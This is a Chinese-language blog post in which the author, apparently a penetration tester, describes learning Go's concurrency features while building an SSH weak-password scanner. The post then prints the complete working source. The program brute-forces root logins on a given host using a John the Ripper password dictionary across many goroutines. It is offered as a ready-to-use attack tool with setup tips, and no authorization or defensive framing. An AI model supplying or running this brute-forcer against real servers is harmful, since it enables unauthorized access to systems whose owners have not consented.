0x00
尝试渗透的过程中,萌生了一点自己也写一点代码,不要老用别人的工具的念头。于是当这次我突发奇想要ssh弱口令扫描的时候,毫不犹豫就直接上手了。
0x01
扫描这种东西,单线程是对你计算机性能的侮辱。我上手就排除了C/C++这两个多线程写起来不怎么安逸的语言,直接选择了python。开头写着还很顺畅,等到真的运行起来时,我却发现了一个严重的问题:为什么Ctrl-C没有用?查了一通,balabala一大堆,总之是,python子线程跑时主线程被阻塞,所以sigINT也被阻塞,收不到信号的线程就毫不犹豫一直跑了下去。
倒也不是没有解决方案,只是我觉得这个设定实在是太傻太反人类了。我的思路便转向了一门源生支持并发的C系语言:go
0x10
不得不说由于对go并不是很熟悉,我在完成这短短几十行代码的过程中还是遇到了相当多的麻烦。
首先是对于go的ssh包的使用:godoc里面不知为何所有的代码都没有加上包名,我一时脑残也没意识到这里有问题,居然就不带包名这么往上写了。于是编译时一方面提示ssh包没用到,一方面提示Dial等几个标识符未定义……不过这个只能算是一时之失。
第二个错误就比较难看了,写python并发时子线程并不会随主线程结束而结束。到了go这里就不是这么一回事了。我倒不是没有想到这个问题,然而采取的解决方案很愚蠢……我使用了无限for循环妄图达到阻塞的效果。事实证明这不可能。
其三嘛,倒不是错误了。写python时线程间同步我通过锁来完成,在这个问题上go的表现实在是优雅而高端。channel同时起到了协程间通信和阻塞的功能,简单的代码就完成了这个功能。
其四,我为如何在所有goroutine跑完之后输出结束提示而困扰。一开始我在ReadPassword函数返回时输出,然而它返回时事实上还有些goroutine没跑完,于是乎就会额外输出一些,特别难看。后来我找到了sync包里的同步原语,解决了这个问题。
package main import "code.google.com/p/go.crypto/ssh" import "fmt" import "bufio" import "os" import "strings" import "sync" var channal = make(chan string) var w sync.WaitGroup func readPassword(pf *bufio.Reader){ for{ password,err := pf.ReadString('\n') if err!=nil { close(channal) //print("scan finished,result not found\n") return } password = strings.TrimRight(password,"\n") channal <- password } } func ssh_login(hostname string, username string) { for{ password,more:= <-channal if !more{ w.Done() return } config := &ssh.ClientConfig{ User: username, Auth: []ssh.AuthMethod{ ssh.Password(password), }, } _ , err := ssh.Dial("tcp", hostname, config) if err != nil { fmt.Printf("\033[33m[-]testing passowrd %s\tresult:Wrong\n\033[0m",password) } else{ fmt.Printf("\033[32m[-]found password %s for root\n\033[0m",password) return } } } func main(){ if len(os.Args)<2 { fmt.Printf("[-]Usage %s [hostname:port]\n",os.Args[0]) os.Exit(1) } hostname := os.Args[1] pf,err := os.Open("password.lst") if err!=nil { fmt.Println("[-]Dictionary needed") os.Exit(1) } bf := bufio.NewReader(pf) defer pf.Close() go readPassword(bf) fmt.Println("Scanning start!") for i:=1;i<20;i++ { w.Add(1) go ssh_login(hostname,"root") } w.Wait() print("scan finished,result not found\n") //var input string //fmt.Scanln(&input) }
对go的熟悉程度谈不上高,所以代码肯定还有很多可以优化的地方。不过已经能完成基本的扫描弱口令的功能了。
PS1.需要使用弱口令字典,我使用的是john the ripper里自带的字典。
PS2.ssh包需要自行安装,go get + 包名
PS3.字符串中的”\033[33m“是用于在终端上配色的,以达到错误结果黄色输出,正确结果绿色输出的目的。